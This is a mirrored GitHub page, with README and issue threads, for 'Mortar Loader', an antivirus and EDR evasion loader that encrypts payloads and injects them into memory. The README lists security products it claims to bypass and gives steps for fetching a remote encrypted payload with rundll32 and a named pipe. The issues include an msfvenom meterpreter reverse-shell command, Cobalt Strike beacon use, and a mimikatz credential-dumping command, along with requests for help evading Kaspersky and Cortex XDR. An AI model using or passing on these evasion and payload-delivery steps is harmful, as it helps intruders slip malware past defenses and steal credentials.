Giter VIP home page Giter VIP logo

mortar's Introduction

Mortar Loader

Red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption and decryption PE/Shellcode inside the memory streams and execute it leveraging several injection techniques . Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following:

  • Kaspersky ✔️
  • ESET AV / EDR ✔️
  • Malewarebytes ✔️
  • Mcafee ✔️
  • Windows defender ✔️
  • Cylance ✔️
  • TrendMicro ✔️
  • Bitdefender ✔️
  • Norton Symantec ✔️
  • Sophos EDR ✔️

Updated features

The newer version release (v3) has been released with the following features :

  • Fileless execution with remote staged encrypted binary or shellcode.
  • Early Bird APC injection.
  • Process masquerading.
  • Supports Named Pipes.
  • Strings and function calls obfuscation.
  • Mortar covert reload subroutine.
  • Delay execution techniques.

For more technical description, refer to the following blogpost : https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html

Usage

Encryptor

The encryptor encrypt C ShellCode and PE binaries and write the output into .enc file. you are allowed to use any payload(MSF/cobalt/Havoc..etc) as you prefer as long it is x64 arch and not RAW.

root@kali>./encryptor -f mimikatz.exe -o bin.enc 
root@kali>./encryptor -f shellcode.c -o bin.enc 

Mortar Loader Library

The newer release leverage several techniques combined with remote payload fetching, recommend to refer to following blogpost to get more insights.

for quick instructions

# PE Forking

1. host your encrypted binary on remote host. 
2. encode the final URL with base64. 
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].
4. covert reload subroutine technique is enabled. 

currently supports early bird injection in combination with Named Pipes to receive variables for final execution.

1. inject Mortar DLL into remote process( DLL injection, Hijacking, sideloading).
2. connect into the named pipe to supply your URL 
   echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs 
3. payload will be executed once valid value has been recieved. 

Compiling

the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads).

for the encryptor you you can download it from the release section or compile it easily with lazarus ide.

#Debian & Ubuntu 

apt install fpc 
apt install lazarus-ide 

Publications

Sponsor ?

the development of mortar or any shared project is an outcome from my personal time.

  • you show continues appreciation of my work.
  • you will get early access to pre-release.
  • ask questions / will be answered.

mortar's People

Contributors

goofsec avatar lawrenceamer avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

mortar's Issues

Agressor.dll doesn't work

I'm having the same issue as nathan-bowman. The encryptor works. I compile the DLL, but I can't run it. I have compiled it on 3 different systems (all windows x64-one windows 10, two windows 11, one bare-metal two VM's). I've tried to run it with the mimikats.enc. (rundll32.exe agressor.dll,start), also on multiple machines. Nothing happens.

Can't get shellcode or binary to execute

I'm running a fresh Windows 10, updated, with all Defender protection disabled for testing.

OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19044 N/A Build 19044

I can't seem to get the shellcode or shell binary to execute.

For example, create shell...

root@localhost:~# msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.x.x.x LPORT=8080 -f exe -o shell64.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 713 bytes
Final size of exe file: 7168 bytes
Saved as: shell64.exe

At this point, manually executing the binary connects fine: Meterpreter session 1 opened (172.x.x.x:8080 -> 127.0.0.1)

However, encrypting and running with rundll32 doesn't work...

C:\Users\user\Desktop>C:\Users\user\Documents\GitHub\mortar\Encryptor\encryptor.exe -f shell64.exe -o bin.enc
{!} Mortar Evasion Technique - Encryptor Tool
[+] 0xsp.com @zux0x3a

[+] Encrypting the binary ...
[!] content is written to bin.enc
C:\Users\user\Desktop> rundll32.exe agressor.dll,start

At this point, I don't see any network traffic on the victim host.

It appears to trigger werfault.exe

image

I want to pass command

you able to pass commands for the loaded binary

you deleted the exe, how do i pass the command

I need the program to receive commands

Compile error

While compiling agressor with the release version, it shows three lines error.

syscalls.RPM(PI.hProcess, Pointer(CONT.rdx + $100), @addr, 4, Ret);
// runner.pas(134,52) Error: identifier idents no member "rdx"

syscalls.W_M(PI.hProcess, LPVOID(CONT.rdx + $10), @ImageBASE, 8, Ret);
// runner.pas(179,53) Error: identifier idents no member "rdx"

CONT_B.rcx := dword64(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
// runner.pas(190,22) Error: identifier idents no member "rcx"

cobalt strike beacon dies after encryption

Following situation, I'm generating a Windows Executable through Cobalt Strike, then I encrypt that file with the encrypter and load it with deliver.exe . AV did not recognize anything, beacon connects and then exits pretty fast after calling home

[*] Tasked beacon to run: whoami
[+] host called home, sent: 45 bytes
[+] beacon exit.

Tried multiple times but no chance to get it working, any idea?

Compile Instructions

Is there a way to have the compile instructions?
Lazarus project doesnt really provides instructions on how to compile a project. Neither the github for this release.

Compiling issues

The IDE claims that "runner" was not found. The folder "..\Lib" is imported and the files are there.

image

encryptor has not main source file

Hi,
Mortar is a awesome project! But, I have some trouble that i get a error with "encryptor has not main source file" when i use kail to build the encryptor project. I don't know why. Can you provide a encryptor file and a calc.enc file ? Thank you please ~

fix - bypass KAV

there is little problem in your Readme , it is "sekurlsa::logonpasswords "" not "sekurlasa::logonpasswords"
deliver.exe -d -c sekurlasa::logonpasswords -f mimikatz.enc --->deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc

and then.. I want to confirm one thing . i test this command deliver.exe -d -c version -f bin.enc and it execute successful . But trigger the karspersky (may be memory scan) after a few seconds , You also tested this mentioned in your article and didn't this problem occur at the time?
fcba68b9e1ebf65899a5b9bc80518d4

Stealthier injection

Hi,

Firstly, absolutely love the work! Very much appreciate it.

Is there anyway to make the injection process stealthier? At the moment, a cmd window is launched and simply stays there, closing it also ends the meterpreter session. I've attempted to recompile the loader and inject into different processes such as 'svchost.exe' and 'explorer.exe' via

bin_decryptor('c:\\windows\\explorer.exe'); or fork_P_x64('C:\\windows\\explorer.exe',runner.TByteArray(AMemStr2.memory),processhandle);

yet only the CMD window opens and nothing else, and again closing the CMD window ends the session.

also, I know literally nothing about the pascal language

Having issues using.

Does this work on dotnet payloads, I also have issues following the readme, I conpiled each of them in their individual folders, but i still couldn't figure out how to use it. I don't know pascal programming language.

Unable to bypass Cortex XDR

bin.enc is an encrypted CS Beacon, tried to create the following batch file and launch it.

@echo off
cmd.exe /c rundll32.exe agressor.dll,stealth

Beacon connection was failed and Cortex XDR blocked with "Rule ioc.cobalt_strike_named_pipe"
issue

Any idea? Thanks.

Inject dll into cmd.exe process and call "dec" function to execute my ".enc" payload.

Hello lawrenceamer, hope you are well.
I have a question, how can I call the export function "dec" and execute it when I injected the dll into "cmd.exe" process, or what is the technique, the reflective injector you are used to do that.
because when I injected the dll into the cmd.exe process it is just injected and didn't execute "dec" function to run the ".enc" payload.

Applying this technique to other tools

Hi, this works amazingly well with mimikatz against multiple antivirus products that i have tested. (Windows Defender, McAfee, Eset, Norton, Bitdefender and Avast)

But i still have a question, is there a way where we could apply this technique to other tools that run once, such as WinPEAS or PowerUp?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.